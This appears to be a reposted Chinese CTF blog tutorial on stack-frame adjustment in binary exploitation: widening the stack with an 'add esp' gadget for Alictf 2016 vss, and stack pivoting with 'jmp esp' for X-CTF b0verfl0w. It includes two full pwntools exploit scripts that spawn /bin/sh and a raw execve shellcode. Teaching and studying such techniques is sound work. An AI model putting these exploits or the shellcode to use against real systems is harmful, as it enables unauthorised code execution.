您的位置:首页 > 其它

pwn调整栈帧的技巧

2020-02-03 04:37 375 查看

调整栈帧的技巧

我们在存在栈溢出程序中,经常会碰到一些关于栈的问题,比如开启ASLR导致栈地址不可预测,所能溢出的字节数太少等等。对于这些问题,我们有时候可以通过gadgets来调整栈帧以完成攻击。比如我们所用到的常见手段,包括esp值的加减,利用部分溢出字节来修改ebp的值来进行stack pivoting等。

0x00 扩大栈空间

正常来说,当栈空间不够用时我们是写入bss段中的,那有什么办法不用写入bss就能在栈上进行呢?栈空间是否可以改变?那么,我们这里就试着是通过修改esp来扩大栈空间。
这里直接用了~/Alictf 2016-vss做例子。
首先查看程序的保护机制

adef@ubuntu:~/AliCTF vss$ checksec vss
[*] '/AliCTF vss/vss'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


我们发现程序是64位的,只开启了NX,因为程序使用了strip命令剥离符号和静态编译,用IDA打开后发现程序乱糟糟的。



IDA载入后显示的是start代码块,这个结构是固定的,call的函数是**__libc_start_main**函数。进入main函数后,我们找到syscall,可以通过syscall的eax值、参数等确定几个函数的名字。

即这里的sys_alarm:(unsigned int seconds)

main函数里,sub_4374E0使用了调用号是0x25的syscall,而且F5的结果中该函数接收一个参数,应该就是alarm


sub_40880字符串单参数,且字符串被打印输出,可以猜测是puts。



我们继续寻找syscall调用函数
找到sub_437EA0调用 sub_437EBD,并使用了0调用号syscall,而且接收了三个参数,推测是read函数。


这时,我们的main函数变为:

我们命名的check函数内部比较复杂,先不尝试对其静态分析,先看上面的read,通过向程序注入大量字符发现程序存在溢出:

那么我们在read处下个断点,跟踪一下程序的输入走向:


我们步步跟进check函数,执行到call sub_400330一行并看执行结果,像是一个复制值操作,推测sub_400330是strncpy()函数。



继续往后执行,发现这里有两个判断,内容是判断输入的头两个字母是否为py,如果是则退出,否则就进入一个循环,这个循环会用一个值作为循环次数对输入开始的每一位进行异或0x66,这个只是[rbp+rax+dest]。由于这个值会被修改,也就是说循环次数会改变,而且变得过大,使得循环最后因为试图访问没有标志位R的内存页而崩溃。

从上面得到rbp+rax=0x7FFE6CD1A040,这个地址所在的内存页就无法访问。


那么我们就该尝试新思路了,我们试着在输入的开头加上’py’,这次出现了一个数据可控的栈溢出。



我们观察数据后发现,被修改的EIP是通过strcnpy复制到输入前面的0x50个字节的最后8个。这里由于没有libc,one_gadget RCE 也不能用,而且使用了strncpy,在payload里字符串又不能出现’\x00’,否则会被当做00截断从而使字节复制过程中无法复制满’0x50’个字节,就无法制造可控溢出了,这也就意味着任何地址都不能被写在前0x48个字节中,那么这种情况就用到了我们所提及的修改esp完成漏洞利用。

首先,虽然限制条件很多,但在main函数中我们看到read函数读取的字节大小’0x400’,而且read函数是可以读取’\x00’的:

这就说明我们可以用ROP链写入,放到0x50字节的后面,然后增加esp的值将栈顶抬高到ROP链上,我们看一下包含add esp的gadget都有哪些:

我们这里选用0x58那行,通过这个gadget,我们可以成功的将esp值增加到0x50之后。
接下来我们就可以使用我们熟悉的ROP技术来调用sys_read读取"/bin/sh\x00"字符串,最后调用sys_execve了。
下面就是所构建的ROP链和完整脚本:

#!/usr/bin/python
#coding:utf-8
from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
io=process('./vss')
payload = ""
payload += p64(0x6161616161617970)  #头两位为py,过检测
payload += 'a'*0x40                 #padding
payload += p64(0x46f205)            #add esp, 0x58; ret
payload += 'a'*8                    #padding
payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_read设置参数
payload +=p64(0x8)                  #rdx = 8
payload += p64(0x6c7079)            #rsi = 0x6c7079
payload += p64(0x401823)            #pop rdi; ret 为sys_read设置参数
payload += p64(0x0)                 #rdi = 0
payload += p64(0x437ea9)            #mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208)            #pop rax; ret
payload += p64(59)                  #rax = 0x3b
payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0)                 #rdx = 0
payload += p64(0x0)                 #rsi = 0
payload += p64(0x401823)            #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079)            #rdi = 0x6c7079
payload += p64(0x437eae)            #syscall

print io.recv()
io.send(payload)
sleep(0.1)  #等待程序执行,防止出错

io.send('/bin/sh\x00')
io.interactive()

0x01 stack picoting(栈帧劫持)

通过可以修改esp的gadget可以绕过一些限制,扩大可控数据的字节数,但是当我们需要一个完全可控的栈时这种方法就不能再使用了。我们知道ASLR,地址空间布局随机化,这是一个系统级别的安全防御措施,无法通过修改编译参数进行控制,而且目前大部分主流的操作系统均实现且默认开启ASLR,正如其名,在开启ASLR之前,一个进程中所有的地址都是确定的,不论重复启动多少次,进程中的堆和栈等的地址都是固定不变的。这就意味着我们可以把需要用到的数据写在堆栈上,然后直接在脚本里硬编码这个地址完成攻击。例如,我们假设有一个没有开NX保护的,有栈溢出的程序运行在没有ASLR的系统上。由于没有ASLR,每次启动程序时栈地址都是0x7fff0000.那么我们直接写入shellcode并且利用栈溢出跳转到0x7fff0000就可以成功getshell。而当ASLR开启后,每次启动程序时的栈和堆地址都是随机的,也就是说这次启动时时0x7fff0000,下回可能就是0x7ffe0120。这时候如果没有jmp esp一类的gadget,攻击就会失效。而stack pivot这种技术就是一个对抗ASLR的利器。

stack pivot之所以重要,是因为其利用到的gadget几乎不可能找不到。在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp)。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。

我们先了解一个程序的出口点:

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

执行leave相当于执行了:

mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

然后看下面的流程图:

这上面,第一次leave; ret,new esp为栈劫持的目标地址。可以看到执行到retn时,esp还在原来的栈上,ebp已经指向了新的栈顶,接着:

这上面,第二次leave; ret 实际决定栈位置的寄存器esp已经被成功劫持到新的栈上,执行完gadget后栈顶会在new esp-4(64位是-8)的位置上。此时栈完全可控通过预先或者之后在new stack上布置数据可以轻松完成攻击。

原理

stack picoting,该技巧是劫持栈指针指向攻击者所能控制的内存处,然后在相应的位置进行ROP。一般来说,我们可能在以下情况需要使用stack pivoting

  • 1.可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 2.开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 3.其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求
1.可以控制程序执行流。
2.可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是

pop rsp/esp

当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。
如下所示,上面的是正常的,下面的是偏移的。

gef➤  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>:  pop    rbx
0x40061b <__libc_csu_init+91>:  pop    rbp
0x40061c <__libc_csu_init+92>:  pop    r12
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret
gef➤  x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>:  pop    rsp
0x40061e <__libc_csu_init+94>:  pop    r13
0x400620 <__libc_csu_init+96>:  pop    r14
0x400622 <__libc_csu_init+98>:  pop    r15
0x400624 <__libc_csu_init+100>: ret

此外,还有更加高级的 fake frame(伪造栈帧)。
存在可以控制内容的内存,一般有如下

  • 1.bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页 (4k,0x1000) 大小。然而一般 bss 段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
  • 2.heap。但是这个需要我们能够泄露堆地址。

主要讲栈帧劫持,这里先不做详细介绍。

我们举个简单的例子:

首先,查看程序的安全保护,如下:

➜ adef@ubuntu:~$checksec b0verfl0w
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

可以看出源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞:

signed int vul()
{
char s; // [esp+18h] [ebp-20h]

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);                         // 栈溢出漏洞
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}

可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。
这里我们考虑使用stack pivoting,由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下:

  • 利用栈溢出布置 shellcode
  • 控制 eip 指向 shellcode 处

第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

adef@ubuntu:~/b0overfl0w$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下:

shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

  • size(shellcode+padding)=0x20
  • size(fake ebp)=0x4
  • jmp_esp=0x08048504

shellcode地址
所以最后exp如下:

#coding:utf-8
from pwn import *
p=process('./b0verfl0w')
context.log_level='debug'
context(arch='i386', os='linux')
elf=ELF('./b0verfl0w')

pop_jmp_esp=0x08048504
p.recvuntil("What's your name?")

#shellcode=asm(shellcraft.sh())
#我直接在网上找21字节的shellcode
shellcode="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode+="\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
shellcode+="\x80"

#payload布局:
#shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp#栈平衡: #sub esp 0x28
#jmp esp

sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+'a'*(0x20-len(shellcode))+'a'*4+p32(pop_jmp_esp)+sub_esp_jmp
p.sendline(payload)
p.interactive()
  • 点赞 1
  • 收藏
  • 分享
  • 文章举报
落殇子诚 发布了5 篇原创文章 · 获赞 10 · 访问量 224 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: